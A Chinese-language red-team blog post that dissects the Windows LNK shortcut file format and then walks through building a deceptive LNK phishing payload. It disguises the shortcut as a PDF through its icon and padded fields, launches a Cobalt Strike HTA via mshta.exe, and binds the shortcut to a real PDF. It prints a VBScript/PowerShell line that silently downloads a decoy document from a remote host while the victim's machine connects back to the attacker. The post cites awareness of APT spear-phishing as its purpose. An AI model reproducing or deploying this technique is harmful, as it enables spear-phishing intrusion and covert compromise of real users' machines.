HW在即——紅隊活動之Lnk樣本載荷篇

注意:
1.本篇文章由Gcow安全團隊絕影小組原創(主要研究於紅藍對抗領域)
2.本篇文章一共2700多字,44張圖,預計用時8分鐘
3.希望各位看官如果在看到錯誤的地方可以在私信或者評論向筆者指出,筆者將感激不盡
4.如果因為本篇文章而造成的相關損失本公眾號不給予賠償.
5.本篇文章只是學習交流,若出現因透過本篇文章而出現進行的攻擊活動,本公眾號概不負責

0x00.前言:

在日常的活動中,我們都可以看到LNK載荷的存在,從隨身碟蠕蟲對隨身碟檔案進行偽裝,以達到欺騙受害人點選的目的,再到紅隊活動甚至於部分APT組織也使用了LNK檔案作為其投遞的主要載荷.LNK檔案的載荷擁有自動隱藏.lnk字尾名,從而展現偽裝的字尾名以欺騙目標的特點而被廣泛使用,下面我們將先透過解析LNK檔案格式進行切入,再透過其基礎進行樣本的相關構造,最後我們會介紹一些需要注意的地方.也希望各位看官如果在看到錯誤的地方可以在私信或者評論向筆者指出,筆者將感激不盡。

另外本樣本不討論相關的免殺性,免殺的操作請各位看官自己實現.

0x01 LNK檔案格式解析:

檔案前20位元組固定不變：

• HeaderSize(4 bytes, offset 0x00)：0x0000004C

• LinkCLSID(16 bytes, offset 0x04)：00021401-0000-0000-C000-000000000046

0x01.1 LinkFlags

由offset 0x14起始4位元組為LinkFlags(下圖來自微軟官方文件)：

由圖片2可以看到，該檔案LinkFlags為0x000802DB(Bin：0000 0000 0000 1000 0000 0010 1101 1011)，這表示以下Flag被設定：

• HasLinkTargetIDList
• HasLinkInfo
• HasRelativePath
• HasWorkingDir
• HasIconLocation
• IsUnicode
• HasExpIcon
• DisableLinkPathTracking

上述Flag會在下文解釋，故此處先不做展開。

0x01.2 FileAttributes

由offset 0x18起始4位元組為FileAttributes，0x00000020表示FILE_ATTRIBUTE_ARCHIVE。

0x01.3 CreateTime & AccessTime & WriteTime

由offset 0x1C開始，每個欄位各佔8位元組：

0x01.4 FileSize

由圖4可以看到，FileSize為0x000E0400(佔4個位元組)。

0x01.5 IconIndex

IconIndex為0x00000001(佔4個位元組)。

0x01.6 ShowCommand & Hotkey

由offset 0x3C開始，ShowCommand佔4位元組，0x00000001表示SW_SHOWNORMAL,當然也可以根據具體的需要替換為SW_SHOWMAXIMIZED (0x00000003)(視窗最大化)以及SW_SHOWMINNOACTIVE (0x00000007)(視窗最小化)

Hotkey佔2位元組；餘下10個位元組均為保留位。

0x01.7 LinkTargetIDList

由於LinkFlags中HasLinkTargetIDList設為1，故檔案包含LinkTargetIDList結構。LinkTargetIDList構成如下：

而IDList由ItemID構成，以2位元組全為0的TerminalID作為結束：

下面來看示例檔案中的LinkTargetIDList:

上圖紅色部分為IDListSize，綠色部分為TerminalID，中間藍色部分則為IDList。下面來看IDList，第一個ItemID如下：

• ItemIDSize(2 bytes, offset 0x004E)：0x0014
• Data(12 bytes, offset 0x0050)：根據微軟官方文件給出的資訊，其含義為computer

第二個ItemID：

• ItemIDSize(2 bytes, offset 0x0062)：0x0019
• Data(23 bytes, offset 0x0064)：其含義為c:

第三個ItemID：

不再贅述，其含義為Windows。

第四個ItemID：

其含義為System32。

第五個ItemID：

0x01.8 LinkInfo

由於LinkFlags中HasLinkInfo設為1，故檔案包含LinkInfo結構。LinkInfo構成如下：

下面來看下示例檔案中的LinkInfo：

• LinkInfoSize(4 bytes, offset 0x017B)：0x00000053
• LinkInfoHeaderSize(4 bytes, offset 0x017F)：LinkInfo結構定義中指定該欄位為0x0000001C
• LinkInfoFlags(4 bytes, offset 0x0183)：0x00000001，表示VolumeIDAndLocalBasePath標誌位設為1
• VolumeIDOffset(4 bytes, offset 0x0187)：0x0000001C，自offset 0x017B處VolumeID偏移大小
• LocalBasePathOffset(4 bytes, offset 0x018B)： 0x00000035，自offset 0x017B處LocalBasePath偏移大小
• CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F)：0x00000000，CommonNetworkRelativeLink不存在
• CommonPathSuffixOffset(4 bytes, offset 0x0193)：0x00000052，自offset 0x017B處CommonPathSuffix偏移大小
• VolumeID(25 bytes, offset 0x0197)：由於VolumeIDAndLocalBasePath設定為1，故包含VolumeID結構如下：
  • VolumeIDSize(4 bytes, offset 0x0197)：0x00000019
  • DriveType(4 bytes, offset 0x019B)：DRIVE_FIXED(3)
  • DriveSerialNumber(4 bytes, offset 0x019F)
  • VolumeLabelOffset(4 bytes, offset 0x01A3)：0x00000010，自offset 0x0197處VolumeLabel偏移大小
  • Data(9 bytes, offset 0x01A7)：Windows7
• LocalBasePath(29 bytes, offset 0x01B0)：由於VolumeIDAndLocalBasePath設定為1，故包含LocalBasePath——"C:/Windows/System32/calc.exe"。該欄位為指向連結目標的完整路徑。
• CommonPathSuffix(1 byte, offset 0x01CD)：空字元

0x01.9 String Data

每個String Data結構如下：

由於LinkFlags中HasRelativePath設為1，故檔案包含RELATIVE_PATH字串：

紅色部分是CountCharacters(Unicode字串長度，故應該為0x22*2=0x44)，藍色部分則為String。

之後是WORKING_DIR字串：

ICON_LOCATION字串：

0x01.10 EnvironmentVariableDataBlock

由於LinkFlags中HasExpString設為1，故檔案包含EnvironmentVariableDataBlock：

• BlockSize(4 bytes)：該欄位值必須為0x0314
• BlockSignature (4 bytes)：該欄位值必須為0xA0000001
• TargetAnsi (260 bytes)：指定環境變數路徑(ANSI字串)，詳見下圖。

• TargetUnicode(520 bytes)：指定環境變數路徑(UNICODE字串)，詳見下圖。

0x01.11 EXTRA_DATA

由零個或多個下列資料塊與TERMINAL_BLOCK組成：

示例檔案中的EXTRA_DATA包含SpecialFolderDataBlock：

• BlockSize(4 bytes)： 0x00000010
• BlockSignature(4 bytes)： 0xA000005，標識SpecialFolderDataBlock
• SpecialFolderID (4 bytes)：0x00000025，指定Folder ID
• Offset(4 bytes)：0x000000D5，偏移大小，指向IDList中第五個ItemID

KnownFolderDataBlock：

• BlockSize(4 bytes)： 0x0000001C
• BlockSignature(4 bytes)： 0xA00000B，標識KnownFolderDataBlock
• KnownFolderID(16 bytes)：GUID
• Offset(4 bytes)：0x000000D5，偏移大小，指向IDList中第五個ItemID

PropertyStoreDataBlock：

• BlockSize(4 bytes)： 0x000001F4
• BlockSignature(4 bytes)： 0xA000009，標識PropertyStoreDataBlock

• PropertryStore(492 bytes)

  TrackerDataBlock：

• BlockSize(4 bytes)： 0x00000060
• BlockSignature(4 bytes)： 0xA000003，標識TrackerDataBlock
• Length(4 bytes)：0x00000058，該資料塊最小長度
• Version(4 bytes)：0x00000000
• MachineID(16 bytes)
• Droid(32 bytes)：2 GUID
• DroidBirth(32 byte)：2 GUID

0x02 構造迷惑性LNK檔案:

我們首先生成一個正常的LNK檔案：

之後更改其圖示為%SystemRoot%/System32/SHELL32.dll中任意一個：

0x02.1 修改圖示

用010 Editor開啟該LNK檔案，找到String Data部分ICON_LOCATION字串：

我們要將其修改為./1.pdf(Unicode)，其長度0x07：

其效果如下所示(左邊機器開啟PDF檔案的預設程式是XODO PDF Reader，中間是Adobe Reader，右邊是谷歌瀏覽器)：

其會根據目標機器上所安裝的環境進行適配,以顯示出符合本機環境的圖示,加大了樣本的成功機率

0x02.2 修改目標

原始目標如下所示：

現在我們修改EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode：

將其修改為%windir%/system32目錄不存在的一個EXE檔名。

效果展示：

但這時雙擊該檔案會報錯：

所以我們需要再修改LinkTargetIDList中第五個ItemID：

如此一來，開啟該檔案便會彈出計算器：

0x03 擴充套件:

首先新建一指向%windir%/System32/mshta.exe的快捷方式(檔名儘量帶有迷惑性)，並更改其圖示為%SystemRoot%/System32/SHELL32.dll中任意一個：

之後更改其引數為HTA下載地址：

注：筆者是使用Cobalt Strike生成HTA檔案：

於其執行payload前增加如下語句(用於下載誘餌文件並且進行開啟,同時誘餌文件的顯示有多種方法,這裡只是舉一個例子)：

    Dim open_pdf
    Set open_pdf = CreateObject("Wscript.Shell")
    open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'/LNK檔案格式解析(修改版).pdf');Start-Process $env:temp'/LNK檔案格式解析(修改版).pdf'", 0, true

這樣一來，在受害者開啟LNK檔案後會從遠端下載一正常PDF文件並開啟。

接下來按照0x02部分所述方法修改即可，此處加一個Tip——在其WORKING_DIR字串前面新增大量空格字元，使其目標長度超過260個字元：

使用copy /B命令將其與正常PDF文件捆綁，使其檔案大小看起來更具有說服力：

之後雙擊該LNK檔案，主機便會上線，而受害者會看到一正常的PDF文件：

效果展示：

0x04.注意事項:

文中只是以pdf為字尾做了一個例子,看官在具體進行構造的時候可以使用其他的字尾,只要是後面以10 00 00 00結尾即可

當然看官也可以透過修改前面的規定資料大小的值以實現不拘泥於數字與字母的命名方式

如上圖中的docx所示其資料大小為9,資料值為.\11.docx而下面的png所顯示的資料大小為7,資料值為.\1.png。經過反覆的修改測試可得知,只要其資料值能夠符合其前面規定的資料塊其就可以正常解析並且顯示.

0x05.結語:

本文屬於拋磚引玉,其所使用的技術也不是很新穎.但的確可以在一定程度上起到迷惑的作用,故本絕影小組認為值得分享,同時鑑於有不少的APT組織(例如Gamaredon,Oceanlotus,SideWinder等)也同樣進行lnk載荷的投遞,希望各單位可以培養針對相關魚叉載荷的安全意識,以減少損失.